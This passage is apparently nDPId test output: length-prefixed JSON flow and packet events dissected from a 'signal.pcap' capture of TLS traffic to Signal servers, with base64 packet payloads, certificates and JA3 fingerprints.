ZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EERdMBDGp5AaYd6W8Y6K7XPAtLeSsFd\/MCEliovy7MiCpTpCZWA8iwx\/kasUDw6UD4XgqcMifqWZ7dI035NznLqAYBAQCFO1gzqxBCkwfTt5RbcSNjVhnH9Z1GBA+P3VqIhqi2y3fTC09YsZobAAeaiJC7NlEmQc805qnqhsiTKWt0+o93k6uPH\/QEzerJdaUZhI5Jh3qsiaPpcxj+Sbq4xbluZ+jebQ+cjpA7UtOAEjirJNy3paRE6nfhaXDjiKvtz4Q3dVjpspp2q3zFNtYyrzKjQTP6ebA\/90hP3Z5kBjK5wueng1\/qFFFAJJPNZVjdt90IBhbsqt0UpbO1BcoAzxmPaMGCoFx+b660hzpAsNYwwRcso1FpZ806cfecoUR9K7ZwWe8L1kEL\/Br+QLn49TXSXvz+gvcUw2p+4UyptflrUUVOFgMDAAQOAAAA"} +01228{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":324,"source":"signal.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":7,"flow_first_seen":1569051264666,"flow_last_seen":1569051264887,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00425{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":889270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7CAbvJrSz1+WYxJ4AQA\/ckxAAAAQEICihVlWVkFUD5"} +00597{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":894221,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGULzAqAIRI6kDKN7CAbvJrSz1+WYxJ4AYBACrZgAAAQEICihVlWpkFUD5FgMDAEYQAABCQQTquNP6GY7fQLK2iZyWMIts8xYB7Fly4bH4O\/SnX24F7Ir3fomGTee9Atgk8uJOjMv68Sggowtz2dJ3yTV9cFukFAMDAAEBFgMDACgAAAAAAAAAABOJelbNZWsO\/mOCDsN+UZCa2OkXEQohqoGlLdv8lwo0"} +00493{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051265,"pkt_ts_usec":2510,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnZ4QAAO4Ge4IjqQMowKgCEQG73sL5ZjEnya0tc4AYAG61hAAAAQEICmQVQRYoVZVqFAMDAAEBFgMDAChc4ROackEnamCtna2hZgZnF8Vo6DLBQaiWsf69JdY1JXrgUZVAikNH"} +00519{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051265,"pkt_ts_usec":2533,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5Z4UAAO4Ge28jqQMowKgCEQG73sL5ZjFaya0tc4AYAG5ZUQAAAQEICmQVQRYoVZVqFwMDAEBc4ROackEnay3sQKBPeFxB1xuT8MyGSV+6ksqT+\/tqxI5IxAcP0AKHBAueplIZs4bAezt0eQW+RNBriZvZaNOI"} +00424{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051265,"pkt_ts_usec":3774,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7CAbvJrS1z+WYxWoAQA\/8jfQAAAQEICihVldZkFUEW"} +00498{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051265,"pkt_ts_usec":5666,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGUQXAqAIRI6kDKN7CAbvJrS1z+WYxWoAYBABG9wAAAQEICihVlddkFUEWFwMDADAAAAAAAAAAAXr0G6WkwildHebwwoTMS\/j500xAmTZrUAlNO0CDgH4CkWXBIoPemFc="} +00495{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051265,"pkt_ts_usec":5683,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGUQjAqAIRI6kDKN7CAbvJrS2o+WYxWoAYBAAQbAAAAQEICihVlddkFUEWFwMDAC0AAAAAAAAAAl\/0PFi+uzoLG\/yjsYLC10gy+hXF39eOo8J9Gq0ZRrcXJrO1ha0="} +00481{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051265,"pkt_ts_usec":5694,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGURDAqAIRI6kDKN7CAbvJrS3a+WYxWoAYBABfbgAAAQEICihVlddkFUEWFwMDACUAAAAAAAAAA6UYtqR3XQaITcujng0e4PfvGMyB3EHM1ShLjWCd"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":357,"source":"signal.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1569051266396,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":1,"l3_proto":"ip4","src_ip":"23.57.24.16","dst_ip":"192.168.2.17","src_port":443,"dst_port":57016,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":396342,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"xGGLNYKpxiwDYGpkCABFAABMyV0AADQGy0wXORgQwKgCEQG73rjhiC89LB07wYAYAQKY+AAAAQEICpZOcwIoVP9fFwMDABNN53WS+HQ+OdIkNGbGHI++PaTs"} +00424{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":396673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0yV4AADQGy2MXORgQwKgCEQG73rjhiC9VLB07wYARAQL5ggAAAQEICpZOcwIoVP9f"} +00456{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":743731,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"xGGLNYKpxiwDYGpkCABFAABMyV8AADQGy0oXORgQwKgCEQG73rjhiC89LB07wYAYAQKXnQAAAQEICpZOdF0oVP9fFwMDABNN53WS+HQ+OdIkNGbGHI++PaTs"} +00425{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":980874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN64AbssHTvB4YgvVYAQA\/9Y6QAAAQEICihVnPyWTnMC"} +00425{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":980893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN64AbssHTvB4YgvVoAQA\/9Y6AAAAQEICihVnPyWTnMC"} +00441{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":980903,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGSLbAqAIRFzkYEN64AbssHTvB4YgvVrAQA\/8BLQAAAQEICihVnPyWTnMCAQEFCuGILz3hiC9V"} +00479{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":980912,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"xiwDYGpkxGGLNYKpCABFAABbAABAAEAGSJvAqAIRFzkYEN64AbssHTvB4YgvVoAYBAA\/FgAAAQEICihVnPyWTnMCFwMDACIKgs7b93B06Cv8uAmmDZC2sqL1mjavG04B6gMvy4n2On1D"} +00458{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051266,"pkt_ts_usec":997826,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"xiwDYGpkxGGLNYKpCABFAABMAABAAEAGSKrAqAIRFzkYEN64AbssHTvo4YgvVoAYBADU7gAAAQEICihVnRGWTnMCFwMDABMBoYtcHlLMr5\/EHZNRIBnn\/fb7"} +00422{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":5795,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN64AbssHTwA4YgvVoARBABYiwAAAQEICihVnRiWTnMC"} +00408{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":24579,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xGGLNYKpxiwDYGpkCABFAAAoAAAAADQGlM4XORgQwKgCEQG73rjhiC9WAAAAAFAEAADMiwAA"} +00408{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":41242,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xGGLNYKpxiwDYGpkCABFAAAoAAAAADQGlM4XORgQwKgCEQG73rjhiC9WAAAAAFAEAADMiwAA"} +00408{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":48829,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xGGLNYKpxiwDYGpkCABFAAAoAAAAADQGlM4XORgQwKgCEQG73rjhiC9WAAAAAFAEAADMiwAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":373,"source":"signal.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1569051267121,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"13.35.253.42","src_port":57027,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":121677,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGbbHAqAIRDSP9Kt7DAbsjR8rsAAAAALAC\/\/\/U1AAAAgQFtAEDAwcBAQgKKFWeFwAAAAAEAgAA"} +00440{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":154562,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAPEG\/LQNI\/0qwKgCEQG73sO\/wI8zI0fK7aAScSCWtAAAAgQFrAQCCAqvNN\/RKFWeFwEDAwg="} +00425{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":161440,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGbb3AqAIRDSP9Kt7DAbsjR8rtv8CPNIAQBAsybAAAAQEICihVnjqvNN\/R"} +01122{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":161538,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGa7jAqAIRDSP9Kt7DAbsjR8rtv8CPNIAYBAvKhwAAAQEICihVnj6vNN\/RFgMBAgABAAH8AwOed0BRRXhHmhS2o0Rd7s+quzaOqPDOekK9aAMPsTMIOSC1IZE3ylyuwin+a6TID60OpC6k\/IyX7sen4PPIFu25JAAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAABMAEQAADmNkbi5zaWduYWwub3JnABcAAAANABgAFgQDCAQEAQUDAgMIBQgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAADMAJgAkAB0AIKiOhVxjy4KSaZXVIZPgxwuPZSXAvfjlA0iNSRIg7yBrAC0AAgEBACsABQQDBAMDAAoACgAIAB0AFwAYABkAFQDlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":376,"source":"signal.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1569051267121,"flow_last_seen":1569051267161,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"13.35.253.42","src_port":57027,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00442{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":377,"source":"signal.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1569051264115,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":194585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0UOEAAPEGq9sNI\/0qwKgCEQG73sO\/wI80I0fM8oAQAHYz9AAAAQEICq8039UoVZ4+"} +02365{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":197332,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUUOIAAPEGpjoNI\/0qwKgCEQG73sO\/wI80I0fM8oAQAHYoLAAAAQEICq8039UoVZ4+FgMDAEYCAABCAwO8CP99YakUmA5\/wTpOe7dfvmNFl3vc9k06WUNBKeJlFgDALwAAGgAAAAD\/AQABAAALAAQDAAECABAABQADAmgyFgMDB6QLAAegAAedAAOkMIIDoDCCAoigAwIBAgICEBcwDQYJKoZIhvcNAQELBQAwgY0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxEzARBgNVBAMMClRleHRTZWN1cmUwHhcNMTkwMjE1MTczODE3WhcNMjkwMzEyMTgxOTUwWjB5MQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRcwFQYDVQQDDA5jZG4uc2lnbmFsLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM18LQzkZEfWlg4hw\/dBL9paXMIB8No3GZAgAy\/09MbfinutJhogqyGsfD9QVwKOcVCvolxWRJxOVHLvfJ+j3OjaizipPSg4tJBcbN+9ZakhzUpPRoghEI4yiKrl0Sqi7vJNILC1JTYvkRytQ9n\/4Jbs5Y2RBnRT1TPYTV57UYEJTbpi7gEiAWGj2rth0iCCvOasx+qhZEdPOn1e6lwVwWKHe0IcTRfT2CWMW01KVLcW86+adINJC\/1ymCCoUyAve8Qsdf59G5bmObwjQzhxFqFhHY7QFfbJcvl0n1Cn1eglY+a\/RyEDs5oux7VcZ8aj6P5GLiya+i08XBOQs3AuHwECAwEAAaMdMBswGQYDVR0RBBIwEIIOY2RuLnNpZ25hbC5vcmcwDQYJKoZIhvcNAQELBQADggEBAG\/PlhcSBiL6fGKTGRpaoycPg7hJ9ziHLiB+y0QyB5wqO5derbp7SMXlOZV+SdL63ngqyVoN0iuC4BM7lU8DJithuOT+DkdBUHAdejNgRNl0tgpxiKFhl81NV1bHcDkHXtI6Eg31yWJKn5PkQX5bVICwoe1ebZJdERU+Uc4uf9IUgrJmkWNSNRRVNtXEiyL7WEbG3MlOE7UNzIJWYeBa\/F7AWNItLd5fu9hbJvGq\/pLUxVuNeSr2mrSxLF\/UtUYOvxNSwLpLCNoS7wnv60ZtLmXBCZ8hswk\/q79aWHy3ln5ByH72UEQs3psE2qaoOv8CGulVWMPSRA2lUjj3NNE1CfIAA\/MwggPvMIIC16ADAgECAgkAibotq0rk82IwDQYJKoZIhvcNAQEFBQAwgY0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxEzARBgNVBAMMClRleHRTZWN1cmUwHhcNMTMwMzI1MjIxODM1WhcNMjMwMzIzMjIxODM1WjCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMFJYGk4IEMXSLirZ3iMBeRJdQalt5a6"} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":378,"source":"signal.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1569051267121,"flow_last_seen":1569051267197,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"13.35.253.42","src_port":57027,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"c4b2785a87896e19d37eee932070cb22","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01706{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":197345,"pkt_caplen":1009,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1009,"pkt_l4_len":975,"pkt":"xGGLNYKpxiwDYGpkCABFAAPjUOMAAPEGqCoNI\/0qwKgCEQG73sO\/wJTUI0fM8oAYAHYWKgAAAQEICq8039UoVZ4+BU9AKNovqoP1AM7F5bVp+98+jzreLoKurUoPEekHfoTDNVyPAuQVMgx6ju32zUVCiUC3eYStXZTS+J7pV6z7KPqCtJ\/HAgMBx2wqYjRrVJAJmWvdDW1wcCQAoVHFg1rAAPKmzkH5mapyB\/rndNdLn\/Qg89AuhwufwZYvA5g2dh8G8gsoMwi2ZlO0Ru5x2KDEQD2Z8i+8cAMRu14u1WDAGb1Hm9W+3CsPoILEjemAfsQfuQw\/Q533fAuKy+fXKEdjsW5iWuRip2Qy9ZSsqgBJXDiNvr29p4kJR1T4cKhc5I\/U9BwvpZ6c0IcCAwEAAaNQME4wHQYDVR0OBBYEFAGLGPE\/+zkZRG6Fhr6UZTKnMjyQMB8GA1UdIwQYMBaAFAGLGPE\/+zkZRG6Fhr6UZTKnMjyQMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAH4eviELnqbQu8kC7VEro248NtMwQ3v+MyiMUfEfg\/dc8V+6mNH5uQOrSk85TomMjGesPVcP8RWZNNpNVjmI6F7K\/tTMk559vaks5z2qy68jh+doRKH1uHOWf4tfG0KtE8aGTEDUgwijcn+zZYX8pVhnJyK7pvi5sn3Vc8C4E1nAia6Dv+yta9umTSGroDrPXjRZNVIq0kbsQ\/jWQl7+gXi6xjknss+TErctbMwmdvkQgkOZG\/IfynJHBaDpCbqqIYVojicvxBTgtrXHZ6fgMZdFosw9HCMQs2BA+h1HfzOgIy4DyAdl9lhihnsPtDXA1SJUdzG4WsR4FpglssSvAtUWAwMBTQwAAUkDABdBBL30nzZVyj3HADNv+